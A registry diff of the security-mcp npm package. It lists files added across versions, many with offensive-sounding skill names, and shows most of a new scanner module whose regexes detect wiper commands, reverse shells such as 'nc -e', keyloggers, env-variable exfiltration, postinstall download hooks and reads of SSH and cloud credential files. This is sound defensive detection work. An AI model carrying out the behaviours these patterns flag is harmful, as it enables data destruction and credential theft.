security-mcp 1.1.4 → 1.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +341 -1018
- package/defaults/checklists/ai.json +20 -1
- package/defaults/checklists/api.json +35 -1
- package/defaults/checklists/infra.json +34 -1
- package/defaults/checklists/mobile.json +23 -1
- package/defaults/checklists/payments.json +15 -1
- package/defaults/checklists/web.json +11 -1
- package/defaults/cloud-controls/aws.json +10712 -0
- package/defaults/cloud-controls/azure.json +7201 -0
- package/defaults/cloud-controls/gcp.json +4061 -0
- package/defaults/control-catalog.json +24 -0
- package/defaults/security-policy.json +2 -2
- package/dist/ci/pr-gate.js +22 -5
- package/dist/cli/index.js +73 -2
- package/dist/cli/install.js +4 -55
- package/dist/cli/onboarding.js +18 -10
- package/dist/gate/baseline.js +82 -7
- package/dist/gate/catalog.js +10 -2
- package/dist/gate/checks/agentic-instructions.js +515 -0
- package/dist/gate/checks/ai-governance.js +132 -0
- package/dist/gate/checks/ai.js +757 -39
- package/dist/gate/checks/auth-deep.js +920 -216
- package/dist/gate/checks/business-logic.js +751 -0
- package/dist/gate/checks/ci-pipeline.js +399 -4
- package/dist/gate/checks/cloud-controls.js +69 -0
- package/dist/gate/checks/crypto.js +423 -2
- package/dist/gate/checks/data-platform.js +954 -0
- package/dist/gate/checks/dependencies.js +582 -15
- package/dist/gate/checks/docker-deep.js +1236 -0
- package/dist/gate/checks/gitops.js +724 -0
- package/dist/gate/checks/graphql.js +201 -19
- package/dist/gate/checks/iac.js +1230 -0
- package/dist/gate/checks/infra.js +246 -1
- package/dist/gate/checks/injection-deep.js +827 -184
- package/dist/gate/checks/k8s.js +955 -2
- package/dist/gate/checks/mobile-android.js +917 -3
- package/dist/gate/checks/mobile-ios.js +797 -5
- package/dist/gate/checks/required-artifacts.js +194 -0
- package/dist/gate/checks/runtime.js +178 -0
- package/dist/gate/checks/secrets.js +256 -13
- package/dist/gate/checks/supply-chain-deep.js +787 -0
- package/dist/gate/checks/web-nextjs.js +572 -48
- package/dist/gate/cloud-controls/apply.js +115 -0
- package/dist/gate/cloud-controls/bicep.js +36 -0
- package/dist/gate/cloud-controls/cfn.js +125 -0
- package/dist/gate/cloud-controls/detect.js +104 -0
- package/dist/gate/cloud-controls/hcl.js +140 -0
- package/dist/gate/cloud-controls/types.js +87 -0
- package/dist/gate/diff.js +17 -5
- package/dist/gate/evidence.js +8 -1
- package/dist/gate/exceptions.js +202 -9
- package/dist/gate/findings.js +15 -2
- package/dist/gate/policy.js +316 -130
- package/dist/gate/threat-intel.js +6 -0
- package/dist/mcp/audit-chain.js +131 -28
- package/dist/mcp/auth.js +169 -0
- package/dist/mcp/learning.js +129 -4
- package/dist/mcp/model-router.js +161 -24
- package/dist/mcp/orchestration.js +377 -89
- package/dist/mcp/server.js +460 -69
- package/dist/mcp/tool-audit.js +193 -0
- package/dist/repo/fs.js +37 -1
- package/dist/repo/search.js +31 -6
- package/dist/review/store.js +56 -3
- package/dist/tests/run.js +124 -1
- package/package.json +9 -9
- package/skills/_TEMPLATE/SKILL.md +99 -0
- package/skills/advanced-dos-tester/SKILL.md +118 -0
- package/skills/agentic-instruction-auditor/SKILL.md +111 -0
- package/skills/agentic-loop-exploiter/SKILL.md +377 -0
- package/skills/ai-llm-redteam/SKILL.md +113 -0
- package/skills/ai-model-supply-chain-agent/SKILL.md +112 -0
- package/skills/algorithm-implementation-reviewer/SKILL.md +107 -0
- package/skills/android-penetration-tester/SKILL.md +464 -46
- package/skills/anti-replay-tester/SKILL.md +115 -0
- package/skills/appsec-code-auditor/SKILL.md +94 -0
- package/skills/artifact-integrity-analyst/SKILL.md +450 -0
- package/skills/attack-navigator/SKILL.md +476 -8
- package/skills/auth-session-hacker/SKILL.md +111 -0
- package/skills/aws-penetration-tester/SKILL.md +510 -0
- package/skills/azure-penetration-tester/SKILL.md +542 -3
- package/skills/binary-auth-validator/SKILL.md +120 -0
- package/skills/bot-detection-specialist/SKILL.md +118 -0
- package/skills/business-logic-attacker/SKILL.md +240 -0
- package/skills/capec-code-mapper/SKILL.md +93 -0
- package/skills/cert-pin-rotation-specialist/SKILL.md +121 -0
- package/skills/cicd-pipeline-hijacker/SKILL.md +414 -0
- package/skills/ciso-orchestrator/SKILL.md +465 -43
- package/skills/cloud-infra-specialist/SKILL.md +127 -0
- package/skills/compliance-gap-analyst/SKILL.md +431 -0
- package/skills/compliance-grc/SKILL.md +94 -0
- package/skills/compliance-lifecycle-tracker/SKILL.md +93 -0
- package/skills/container-hardening-auditor/SKILL.md +125 -0
- package/skills/credential-stuffing-specialist/SKILL.md +111 -0
- package/skills/crypto-pki-specialist/SKILL.md +96 -0
- package/skills/csa-ccm-mapper/SKILL.md +93 -0
- package/skills/csf2-governance-mapper/SKILL.md +93 -0
- package/skills/data-platform-auditor/SKILL.md +125 -0
- package/skills/deep-link-fuzzer/SKILL.md +118 -0
- package/skills/dependency-confusion-attacker/SKILL.md +424 -0
- package/skills/device-integrity-aggregator/SKILL.md +117 -0
- package/skills/dos-resilience-tester/SKILL.md +106 -0
- package/skills/dread-scorer/SKILL.md +93 -0
- package/skills/egress-policy-enforcer/SKILL.md +108 -0
- package/skills/evidence-collector/SKILL.md +107 -0
- package/skills/file-upload-attacker/SKILL.md +118 -0
- package/skills/gcp-penetration-tester/SKILL.md +510 -2
- package/skills/git-history-secret-scanner/SKILL.md +115 -0
- package/skills/gitops-delivery-auditor/SKILL.md +120 -0
- package/skills/iac-security-auditor/SKILL.md +125 -0
- package/skills/iam-privesc-graph-builder/SKILL.md +161 -0
- package/skills/incident-responder/SKILL.md +120 -0
- package/skills/injection-specialist/SKILL.md +111 -0
- package/skills/ios-security-auditor/SKILL.md +291 -0
- package/skills/json-ambiguity-tester/SKILL.md +145 -0
- package/skills/k8s-container-escaper/SKILL.md +406 -0
- package/skills/key-management-lifecycle-analyst/SKILL.md +107 -0
- package/skills/kill-switch-engineer/SKILL.md +111 -0
- package/skills/linddun-privacy-analyst/SKILL.md +111 -0
- package/skills/logic-race-fuzzer/SKILL.md +452 -0
- package/skills/mobile-api-network-attacker/SKILL.md +430 -0
- package/skills/mobile-binary-hardener/SKILL.md +111 -0
- package/skills/mobile-security-specialist/SKILL.md +94 -0
- package/skills/mobile-webview-auditor/SKILL.md +105 -0
- package/skills/model-extraction-attacker/SKILL.md +228 -0
- package/skills/multipart-abuse-tester/SKILL.md +93 -0
- package/skills/oauth-pkce-specialist/SKILL.md +113 -0
- package/skills/parser-exhaustion-tester/SKILL.md +151 -0
- package/skills/pentest-infra/SKILL.md +107 -0
- package/skills/pentest-social/SKILL.md +210 -0
- package/skills/pentest-team/SKILL.md +96 -0
- package/skills/pentest-web-api/SKILL.md +107 -0
- package/skills/privacy-flow-analyst/SKILL.md +243 -0
- package/skills/prompt-injection-specialist/SKILL.md +403 -0
- package/skills/quantum-migration-planner/SKILL.md +105 -0
- package/skills/rag-poisoning-specialist/SKILL.md +367 -0
- package/skills/registry-mirror-enforcer/SKILL.md +93 -0
- package/skills/rotation-validation-agent/SKILL.md +121 -0
- package/skills/samm-assessor/SKILL.md +94 -0
- package/skills/secrets-mask-bypass-tester/SKILL.md +109 -0
- package/skills/senior-security-engineer/SKILL.md +178 -0
- package/skills/serialization-memory-attacker/SKILL.md +341 -0
- package/skills/session-timeout-tester/SKILL.md +170 -0
- package/skills/slsa-level3-enforcer/SKILL.md +121 -0
- package/skills/slsa-provenance-enforcer/SKILL.md +111 -0
- package/skills/ssrf-detection-validator/SKILL.md +117 -0
- package/skills/step-up-auth-enforcer/SKILL.md +93 -0
- package/skills/stride-pasta-analyst/SKILL.md +429 -0
- package/skills/supply-chain-devsecops/SKILL.md +107 -0
- package/skills/threat-infrastructure-analyst/SKILL.md +93 -0
- package/skills/threat-modeler/SKILL.md +94 -0
- package/skills/tls-certificate-auditor/SKILL.md +582 -18
- package/skills/token-reuse-detector/SKILL.md +104 -0
- package/skills/trike-risk-modeler/SKILL.md +93 -0
- package/skills/unicode-homograph-tester/SKILL.md +93 -0
- package/skills/waf-rule-lifecycle-agent/SKILL.md +106 -0
- package/skills/webhook-security-tester/SKILL.md +111 -0
- package/skills/zero-trust-architect/SKILL.md +118 -0
|
@@ -0,0 +1,787 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Supply chain and malicious code detection — catches repo poisoning, keyloggers,
|
|
3
|
+
* destructive payloads, backdoors, and exfiltration patterns that a bad actor
|
|
4
|
+
* would embed to compromise developer workstations or CI/CD pipelines.
|
|
5
|
+
* CWE references per MITRE CWE catalog; ATT&CK techniques per MITRE ATT&CK v15.
|
|
6
|
+
*/
|
|
7
|
+
import { sanitizeErrorMessage } from "../result.js";
|
|
8
|
+
import { searchRepo } from "../../repo/search.js";
|
|
9
|
+
import fg from "fast-glob";
|
|
10
|
+
import { readFileSafe } from "../../repo/fs.js";
|
|
11
|
+
const NON_CODE_RE = /\.(?:md|json|yaml|yml|txt|rst|toml|lock)$/i;
|
|
12
|
+
function toEvidence(hits) {
|
|
13
|
+
return hits.slice(0, 10).map((m) => `${m.file}:${m.line}:${m.preview}`);
|
|
14
|
+
}
|
|
15
|
+
function toFiles(hits) {
|
|
16
|
+
return [...new Set(hits.slice(0, 10).map((m) => m.file))];
|
|
17
|
+
}
|
|
18
|
+
async function allSearch(query) {
|
|
19
|
+
return (await searchRepo({ query, isRegex: true, maxMatches: 200 }));
|
|
20
|
+
}
|
|
21
|
+
async function codeSearch(query) {
|
|
22
|
+
return (await allSearch(query)).filter((h) => !NON_CODE_RE.test(h.file));
|
|
23
|
+
}
|
|
24
|
+
async function checkDestructiveCommands() {
|
|
25
|
+
const hitsA = await codeSearch(String.raw `(?:exec|execSync|spawn|spawnSync|child_process)\s*[^;]*(?:rm\s+-rf|rm\s+--force|shred\s+-|dd\s+if=\/dev\/zero|wipefs|truncate\s+-s\s+0|>\s*\/dev\/sd)`);
|
|
26
|
+
const hitsB = await codeSearch(String.raw `fs\.(?:rm|rmdir|unlink|writeFile|truncate)\s*\([^)]*(?:__dirname|process\.cwd\(\)|recursive\s*:\s*true)`);
|
|
27
|
+
const hits = [...hitsA, ...hitsB];
|
|
28
|
+
if (!hits.length)
|
|
29
|
+
return null;
|
|
30
|
+
return {
|
|
31
|
+
id: "DESTRUCTIVE_COMMAND",
|
|
32
|
+
title: "Destructive filesystem command detected — potential wiper malware or repo poisoning (CWE-73 / ATT&CK T1485)",
|
|
33
|
+
severity: "CRITICAL",
|
|
34
|
+
evidence: toEvidence(hits),
|
|
35
|
+
files: toFiles(hits),
|
|
36
|
+
requiredActions: [
|
|
37
|
+
"Immediately audit this code path. Recursive deletion or filesystem wipe commands are not expected in application code.",
|
|
38
|
+
"ATT&CK T1485 (Data Destruction) — wiper malware and supply chain attacks use rm -rf or filesystem truncation to destroy developer workstations and CI environments.",
|
|
39
|
+
"Remove or gate behind explicit human confirmation with a non-destructive default. Never auto-execute recursive deletion."
|
|
40
|
+
]
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
async function checkKeyloggerPatterns() {
|
|
44
|
+
const hits = await codeSearch(String.raw `(?:addEventListener\s*\(\s*['"]key(?:down|up|press)['"]|onkeydown\s*=|onkeyup\s*=|onkeypress\s*=)[^}]*(?:fetch|XMLHttpRequest|axios|sendBeacon|WebSocket|navigator\.sendBeacon)`);
|
|
45
|
+
if (!hits.length)
|
|
46
|
+
return null;
|
|
47
|
+
return {
|
|
48
|
+
id: "KEYLOGGER_EXFIL",
|
|
49
|
+
title: "Keystroke listener combined with network exfiltration — keylogger pattern (CWE-200 / ATT&CK T1056.001)",
|
|
50
|
+
severity: "CRITICAL",
|
|
51
|
+
evidence: toEvidence(hits),
|
|
52
|
+
files: toFiles(hits),
|
|
53
|
+
requiredActions: [
|
|
54
|
+
"This pattern captures keystrokes and sends them to a remote endpoint — a classic keylogger. Remove immediately.",
|
|
55
|
+
"ATT&CK T1056.001 — keyloggers in frontend code silently steal passwords, PINs, and sensitive form inputs.",
|
|
56
|
+
"Audit the event listener to confirm it serves a legitimate purpose (e.g., keyboard shortcuts) and does NOT transmit key data externally."
|
|
57
|
+
]
|
|
58
|
+
};
|
|
59
|
+
}
|
|
60
|
+
async function checkCredentialExfiltration() {
|
|
61
|
+
const hits = await codeSearch(String.raw `(?:localStorage|sessionStorage|document\.cookie|indexedDB)[^;]*(?:fetch|XMLHttpRequest|axios|sendBeacon)\s*\(\s*['"][^'"]*(?:http|https|ftp|ws)`);
|
|
62
|
+
if (!hits.length)
|
|
63
|
+
return null;
|
|
64
|
+
return {
|
|
65
|
+
id: "CREDENTIAL_EXFILTRATION",
|
|
66
|
+
title: "Client-side storage read combined with external HTTP request — credential theft pattern (CWE-312 / ATT&CK T1555)",
|
|
67
|
+
severity: "CRITICAL",
|
|
68
|
+
evidence: toEvidence(hits),
|
|
69
|
+
files: toFiles(hits),
|
|
70
|
+
requiredActions: [
|
|
71
|
+
"Code that reads from localStorage/sessionStorage/cookies and immediately sends the data to an external URL is a credential skimmer.",
|
|
72
|
+
"ATT&CK T1555 — attackers inject this pattern via supply chain compromise or XSS to steal session tokens and credentials.",
|
|
73
|
+
"Verify this code is not embedded by a malicious dependency. Check SRI hashes and diff against known-good versions."
|
|
74
|
+
]
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
async function checkReverseShellPatterns() {
|
|
78
|
+
const hits = await codeSearch(String.raw `(?:net\.createConnection|net\.connect|dgram\.createSocket)[^}]*(?:spawn|exec|shell)|(?:bash\s+-i|sh\s+-i|nc\s+-e|ncat\s+-e|\/bin\/(?:bash|sh)\s+[<>]&)|(?:child_process|exec|spawn)[^;]*(?:\/bin\/(?:bash|sh)|cmd\.exe|powershell)`);
|
|
79
|
+
if (!hits.length)
|
|
80
|
+
return null;
|
|
81
|
+
return {
|
|
82
|
+
id: "REVERSE_SHELL",
|
|
83
|
+
title: "Reverse shell pattern detected — remote code execution backdoor (CWE-78 / ATT&CK T1059)",
|
|
84
|
+
severity: "CRITICAL",
|
|
85
|
+
evidence: toEvidence(hits),
|
|
86
|
+
files: toFiles(hits),
|
|
87
|
+
requiredActions: [
|
|
88
|
+
"CRITICAL: Reverse shell code provides a remote attacker with full shell access to the host system.",
|
|
89
|
+
"ATT&CK T1059 — this is a common technique in supply chain compromises (e.g., event-stream, node-ipc incidents).",
|
|
90
|
+
"Remove immediately. Audit all recently updated dependencies for similar patterns. Rotate all credentials on affected hosts."
|
|
91
|
+
]
|
|
92
|
+
};
|
|
93
|
+
}
|
|
94
|
+
async function checkEnvExfiltration() {
|
|
95
|
+
const hits = await codeSearch(String.raw `process\.env[^;]*(?:fetch|axios|http(?:s)?\.(?:get|request|post)|XMLHttpRequest|got\s*\(|needle|superagent)\s*\(\s*['"](?:https?|ftp|ws)`);
|
|
96
|
+
if (!hits.length)
|
|
97
|
+
return null;
|
|
98
|
+
return {
|
|
99
|
+
id: "ENV_VARIABLE_EXFILTRATION",
|
|
100
|
+
title: "process.env contents sent to external URL — environment variable exfiltration (CWE-200 / ATT&CK T1552.001)",
|
|
101
|
+
severity: "CRITICAL",
|
|
102
|
+
evidence: toEvidence(hits),
|
|
103
|
+
files: toFiles(hits),
|
|
104
|
+
requiredActions: [
|
|
105
|
+
"Environment variables contain API keys, database passwords, and secrets. Sending them to an external URL is a supply chain attack.",
|
|
106
|
+
"ATT&CK T1552.001 — exfiltrating process.env is a signature technique in npm package poisoning (e.g., malicious postinstall scripts).",
|
|
107
|
+
"Identify whether this is in production code or a dependency. If in a dependency, treat as compromised and rotate all secrets immediately."
|
|
108
|
+
]
|
|
109
|
+
};
|
|
110
|
+
}
|
|
111
|
+
async function checkMaliciousPostinstall() {
|
|
112
|
+
const hits = await allSearch(String.raw `"(?:postinstall|preinstall|install|prepare)"\s*:\s*"[^"]*(?:curl|wget|bash|sh|powershell|python|node\s+-e|eval\(|fetch|http)`);
|
|
113
|
+
if (!hits.length)
|
|
114
|
+
return null;
|
|
115
|
+
return {
|
|
116
|
+
id: "MALICIOUS_POSTINSTALL",
|
|
117
|
+
title: "npm lifecycle script executes network command — supply chain backdoor vector (CWE-494 / ATT&CK T1195.002)",
|
|
118
|
+
severity: "CRITICAL",
|
|
119
|
+
evidence: toEvidence(hits),
|
|
120
|
+
files: toFiles(hits),
|
|
121
|
+
requiredActions: [
|
|
122
|
+
"postinstall scripts that download and execute code are a primary vector for npm supply chain attacks.",
|
|
123
|
+
"ATT&CK T1195.002 — attackers hijack popular packages and add postinstall hooks that download malware.",
|
|
124
|
+
"Remove this lifecycle script. If required for native binaries, pin the download URL and verify a SHA-256 hash."
|
|
125
|
+
]
|
|
126
|
+
};
|
|
127
|
+
}
|
|
128
|
+
async function checkDynamicRequire() {
|
|
129
|
+
const hits = await codeSearch(String.raw `require\s*\(\s*(?:req\.|body\.|params\.|query\.|process\.env\.[^)]+|\$\{[^}]+\})`);
|
|
130
|
+
if (!hits.length)
|
|
131
|
+
return null;
|
|
132
|
+
return {
|
|
133
|
+
id: "DYNAMIC_REQUIRE",
|
|
134
|
+
title: "require() called with a non-literal specifier — dynamic module loading risk (CWE-706 / ATT&CK T1059.007)",
|
|
135
|
+
severity: "HIGH",
|
|
136
|
+
evidence: toEvidence(hits),
|
|
137
|
+
files: toFiles(hits),
|
|
138
|
+
requiredActions: [
|
|
139
|
+
"require() with a computed string allows loading arbitrary modules or files controlled by user input.",
|
|
140
|
+
"CWE-706 / ATT&CK T1059.007 — an attacker controlling the specifier can load ../../.env or a malicious module.",
|
|
141
|
+
"Fix: Use a static allowlist of module names; validate against it before calling require(allowlist[key])."
|
|
142
|
+
]
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
async function checkBase64ObfuscatedPayload() {
|
|
146
|
+
const hits = await codeSearch(String.raw `(?:Buffer\.from\s*\(\s*['"][A-Za-z0-9+/]{40,}={0,2}['"]\s*,\s*['"]base64['"]|atob\s*\(\s*['"][A-Za-z0-9+/]{40,}={0,2}['"]\s*\))[^;]*(?:eval|exec|spawn|Function\s*\(|new Function)`);
|
|
147
|
+
if (!hits.length)
|
|
148
|
+
return null;
|
|
149
|
+
return {
|
|
150
|
+
id: "BASE64_OBFUSCATED_EXEC",
|
|
151
|
+
title: "Base64-encoded payload decoded and executed — obfuscated malware pattern (CWE-95 / ATT&CK T1027)",
|
|
152
|
+
severity: "CRITICAL",
|
|
153
|
+
evidence: toEvidence(hits),
|
|
154
|
+
files: toFiles(hits),
|
|
155
|
+
requiredActions: [
|
|
156
|
+
"Decoding a long base64 string and passing it to eval/exec/spawn is a canonical malware obfuscation technique.",
|
|
157
|
+
"ATT&CK T1027 — obfuscated payloads evade simple static analysis and can execute any OS command or JavaScript.",
|
|
158
|
+
"Remove immediately. Decode the payload to understand what it executes, then treat the host as potentially compromised."
|
|
159
|
+
]
|
|
160
|
+
};
|
|
161
|
+
}
|
|
162
|
+
async function checkCryptoMining() {
|
|
163
|
+
const hits = await codeSearch(String.raw `(?:CoinHive|coinhive|cryptonight|stratum\+tcp|minero|xmrig|monero|wasm-miner|coinimp|webminepool|jsecoin|deepMiner|minecrunch|cryptoloot)`);
|
|
164
|
+
if (!hits.length)
|
|
165
|
+
return null;
|
|
166
|
+
return {
|
|
167
|
+
id: "CRYPTOMINER_DETECTED",
|
|
168
|
+
title: "Cryptomining library or stratum endpoint reference detected — unauthorized resource use (ATT&CK T1496)",
|
|
169
|
+
severity: "CRITICAL",
|
|
170
|
+
evidence: toEvidence(hits),
|
|
171
|
+
files: toFiles(hits),
|
|
172
|
+
requiredActions: [
|
|
173
|
+
"Cryptomining code abuses the user's CPU/GPU without consent and is categorically unauthorized in application code.",
|
|
174
|
+
"ATT&CK T1496 — resource hijacking for cryptomining is a common objective in supply chain compromises.",
|
|
175
|
+
"Remove immediately. Audit the full dependency tree for the source of this reference."
|
|
176
|
+
]
|
|
177
|
+
};
|
|
178
|
+
}
|
|
179
|
+
async function checkSensitiveFileAccess() {
|
|
180
|
+
const hits = await codeSearch(String.raw `(?:fs\.(?:readFile|readFileSync|createReadStream))\s*\([^)]*(?:\/etc\/passwd|\/etc\/shadow|\/etc\/hosts|~\/\.ssh|\.ssh\/id_rsa|\.env|\.aws\/credentials|\.npmrc|\.netrc|\/proc\/self)`);
|
|
181
|
+
if (!hits.length)
|
|
182
|
+
return null;
|
|
183
|
+
return {
|
|
184
|
+
id: "SENSITIVE_FILE_ACCESS",
|
|
185
|
+
title: "Direct read of sensitive system files — credential theft or reconnaissance (CWE-552 / ATT&CK T1552)",
|
|
186
|
+
severity: "CRITICAL",
|
|
187
|
+
evidence: toEvidence(hits),
|
|
188
|
+
files: toFiles(hits),
|
|
189
|
+
requiredActions: [
|
|
190
|
+
"Reading /etc/passwd, ~/.ssh/id_rsa, .aws/credentials, or .env in application code is almost always malicious.",
|
|
191
|
+
"ATT&CK T1552 — attackers read system credentials and configuration files to escalate privileges or exfiltrate secrets.",
|
|
192
|
+
"Remove immediately. If any legitimate use exists (e.g., reading own .env), use a safe library like dotenv with a project-relative path."
|
|
193
|
+
]
|
|
194
|
+
};
|
|
195
|
+
}
|
|
196
|
+
async function checkUnsafePinnedVersion() {
|
|
197
|
+
const hits = await allSearch(String.raw `"(?:dependencies|devDependencies|peerDependencies)"\s*:\s*\{[^}]*"[^"]+"\s*:\s*"(?:\*|latest|next|x|>=\s*0\.0\.0)"`);
|
|
198
|
+
if (!hits.length)
|
|
199
|
+
return null;
|
|
200
|
+
return {
|
|
201
|
+
id: "UNPINNED_DEPENDENCY_VERSION",
|
|
202
|
+
title: "Dependency version pinned to '*', 'latest', or open range — supply chain compromise vector (CWE-1357)",
|
|
203
|
+
severity: "HIGH",
|
|
204
|
+
evidence: toEvidence(hits),
|
|
205
|
+
files: toFiles(hits),
|
|
206
|
+
requiredActions: [
|
|
207
|
+
"Floating version ranges allow a malicious package release to be automatically installed on the next npm install.",
|
|
208
|
+
"CWE-1357 / ATT&CK T1195.002 — supply chain attacks like event-stream exploit unpinned dependency versions.",
|
|
209
|
+
"Pin all dependencies to exact versions. Use a lock file (package-lock.json or yarn.lock) and enable Dependabot alerts."
|
|
210
|
+
]
|
|
211
|
+
};
|
|
212
|
+
}
|
|
213
|
+
async function checkProcessExitWithWipe() {
|
|
214
|
+
const hits = await codeSearch(String.raw `(?:fs\.(?:rm|rmdir|unlink|writeFile|truncate)|exec(?:Sync)?|spawn(?:Sync)?)[^;]*(?:process\.exit|os\.exit)|process\.exit[^;]*(?:fs\.rm|fs\.unlink|rm\s+-rf|del\s+\/)`);
|
|
215
|
+
if (!hits.length)
|
|
216
|
+
return null;
|
|
217
|
+
return {
|
|
218
|
+
id: "EXIT_WITH_DESTRUCTION",
|
|
219
|
+
title: "process.exit() combined with filesystem deletion — wiper or anti-forensics pattern (ATT&CK T1485 / T1070)",
|
|
220
|
+
severity: "CRITICAL",
|
|
221
|
+
evidence: toEvidence(hits),
|
|
222
|
+
files: toFiles(hits),
|
|
223
|
+
requiredActions: [
|
|
224
|
+
"Combining process exit with file deletion is a classic anti-forensics technique used in destructive malware.",
|
|
225
|
+
"ATT&CK T1485 (Data Destruction) + T1070 (Indicator Removal) — wipers terminate the process after erasing logs or data.",
|
|
226
|
+
"Remove this pattern immediately. Legitimate cleanup should use 'finally' blocks, not exit-triggered deletion."
|
|
227
|
+
]
|
|
228
|
+
};
|
|
229
|
+
}
|
|
230
|
+
async function checkHiddenFileWrite() {
|
|
231
|
+
// The negative lookahead is anchored to the exact dotfile name by requiring the exclusion
|
|
232
|
+
// token to be immediately followed by a quote or whitespace. Without this anchor, prefix
|
|
233
|
+
// matches like '.envrc' and '.environment' were incorrectly excluded (false negatives).
|
|
234
|
+
const hits = await codeSearch(String.raw `fs\.(?:writeFile|writeFileSync|appendFile|appendFileSync|createWriteStream)\s*\(\s*['"]\.[./]*(?!(?:env|npmrc|gitignore|eslintrc|prettierrc)['"\\s])[a-zA-Z_-]{1,30}['"]`);
|
|
235
|
+
if (!hits.length)
|
|
236
|
+
return null;
|
|
237
|
+
return {
|
|
238
|
+
id: "HIDDEN_FILE_WRITE",
|
|
239
|
+
title: "Writing to a hidden dotfile (non-standard) — file system hiding or persistence mechanism (ATT&CK T1564.001)",
|
|
240
|
+
severity: "HIGH",
|
|
241
|
+
evidence: toEvidence(hits),
|
|
242
|
+
files: toFiles(hits),
|
|
243
|
+
requiredActions: [
|
|
244
|
+
"Writing to hidden files (e.g., .update, .cache, .x) is a persistence and concealment technique used by malware.",
|
|
245
|
+
"ATT&CK T1564.001 — attackers store payloads or configuration in hidden files to evade detection.",
|
|
246
|
+
"Review this write. If legitimate (e.g., lock files), use a non-hidden path and document the purpose."
|
|
247
|
+
]
|
|
248
|
+
};
|
|
249
|
+
}
|
|
250
|
+
async function checkDnsExfiltration() {
|
|
251
|
+
const hits = await codeSearch(String.raw `dns\.(?:resolve|lookup|resolve4|resolve6|resolveTxt)\s*\([^)]*(?:process\.env|btoa|Buffer\.from[^)]*base64|encodeURIComponent|\.replace)\s*\(`);
|
|
252
|
+
if (!hits.length)
|
|
253
|
+
return null;
|
|
254
|
+
return {
|
|
255
|
+
id: "DNS_EXFILTRATION",
|
|
256
|
+
title: "DNS lookup with encoded/derived hostname — DNS exfiltration channel (ATT&CK T1048.003 / CWE-200)",
|
|
257
|
+
severity: "CRITICAL",
|
|
258
|
+
evidence: toEvidence(hits),
|
|
259
|
+
files: toFiles(hits),
|
|
260
|
+
requiredActions: [
|
|
261
|
+
"Constructing DNS lookup hostnames from encoded environment variables or secrets is a data exfiltration technique.",
|
|
262
|
+
"ATT&CK T1048.003 — DNS exfiltration bypasses HTTP-level egress controls and is hard to detect in logs.",
|
|
263
|
+
"Remove immediately. DNS lookups should use static, hardcoded hostnames — never derived from secrets or user data."
|
|
264
|
+
]
|
|
265
|
+
};
|
|
266
|
+
}
|
|
267
|
+
async function checkClipboardMonitoring() {
|
|
268
|
+
const hits = await codeSearch(String.raw `(?:navigator\.clipboard\.read|document\.execCommand\s*\(\s*['"]paste['"]|clipboardData\.getData)[^}]*(?:fetch|XMLHttpRequest|sendBeacon|WebSocket|axios)`);
|
|
269
|
+
if (!hits.length)
|
|
270
|
+
return null;
|
|
271
|
+
return {
|
|
272
|
+
id: "CLIPBOARD_EXFILTRATION",
|
|
273
|
+
title: "Clipboard contents read and transmitted to external endpoint — credential theft pattern (ATT&CK T1115 / CWE-200)",
|
|
274
|
+
severity: "CRITICAL",
|
|
275
|
+
evidence: toEvidence(hits),
|
|
276
|
+
files: toFiles(hits),
|
|
277
|
+
requiredActions: [
|
|
278
|
+
"Reading clipboard contents and sending them to a remote URL is a credential/password skimmer technique.",
|
|
279
|
+
"ATT&CK T1115 — attackers target password managers and developer tools that use the clipboard for secrets.",
|
|
280
|
+
"Remove immediately. Legitimate clipboard use (copy/paste UX) never sends clipboard data to a server."
|
|
281
|
+
]
|
|
282
|
+
};
|
|
283
|
+
}
|
|
284
|
+
async function checkObfuscatedScriptInjection() {
|
|
285
|
+
const hits = await codeSearch(String.raw `(?:document\.write|innerHTML\s*\+=|insertAdjacentHTML)\s*\([^)]*(?:atob|unescape|String\.fromCharCode|\\x[0-9a-f]{2}|\\u[0-9a-f]{4})`);
|
|
286
|
+
if (!hits.length)
|
|
287
|
+
return null;
|
|
288
|
+
return {
|
|
289
|
+
id: "OBFUSCATED_DOM_INJECTION",
|
|
290
|
+
title: "Obfuscated payload injected into DOM — encoded script injection (CWE-79 / ATT&CK T1027)",
|
|
291
|
+
severity: "CRITICAL",
|
|
292
|
+
evidence: toEvidence(hits),
|
|
293
|
+
files: toFiles(hits),
|
|
294
|
+
requiredActions: [
|
|
295
|
+
"Injecting obfuscated content (base64-decoded, hex-encoded, or char-code assembled) into the DOM is a web skimmer technique.",
|
|
296
|
+
"ATT&CK T1027 — encoding hides malicious scripts from simple string searches and CSP bypass attempts.",
|
|
297
|
+
"Remove immediately. All DOM-inserted content must be static or sanitized; never built from encoded strings."
|
|
298
|
+
]
|
|
299
|
+
};
|
|
300
|
+
}
|
|
301
|
+
// ─── New gate checks (10 targeted supply-chain patterns) ──────────────────────
|
|
302
|
+
/**
|
|
303
|
+
* CWE-95: eval() called with a dynamic or user-controlled argument.
|
|
304
|
+
* Excludes eval() calls where the sole argument is a string literal.
|
|
305
|
+
*/
|
|
306
|
+
async function checkEvalDynamicArg() {
|
|
307
|
+
const hits = await codeSearch(String.raw `\beval\s*\(\s*(?!['"` + "`" + String.raw `])[^)]+\)`);
|
|
308
|
+
// Exclude lines where eval's argument is a plain string literal (no variables/expressions).
|
|
309
|
+
const unsafe = hits.filter((h) => !/\beval\s*\(\s*['"`][^'"`]*['"`]\s*\)/.test(h.preview));
|
|
310
|
+
if (!unsafe.length)
|
|
311
|
+
return null;
|
|
312
|
+
return {
|
|
313
|
+
id: "EVAL_DYNAMIC_ARG",
|
|
314
|
+
title: "eval() called with a dynamic or user-controlled argument — arbitrary code execution (CWE-95)",
|
|
315
|
+
severity: "CRITICAL",
|
|
316
|
+
evidence: toEvidence(unsafe),
|
|
317
|
+
files: toFiles(unsafe),
|
|
318
|
+
requiredActions: [
|
|
319
|
+
"Remove eval() entirely. Use JSON.parse() for data, static import() for modules, or a purpose-built expression parser.",
|
|
320
|
+
"CWE-95 / ATT&CK T1059.007 — eval() with user input enables full JavaScript RCE inside the process.",
|
|
321
|
+
"If a REPL is required, sandbox with vm.runInNewContext() and a strict resource-limited context object."
|
|
322
|
+
]
|
|
323
|
+
};
|
|
324
|
+
}
|
|
325
|
+
/**
|
|
326
|
+
* CWE-95: require() called with a computed (non-literal) string specifier.
|
|
327
|
+
* Catches template literals and variable references, not plain string literals.
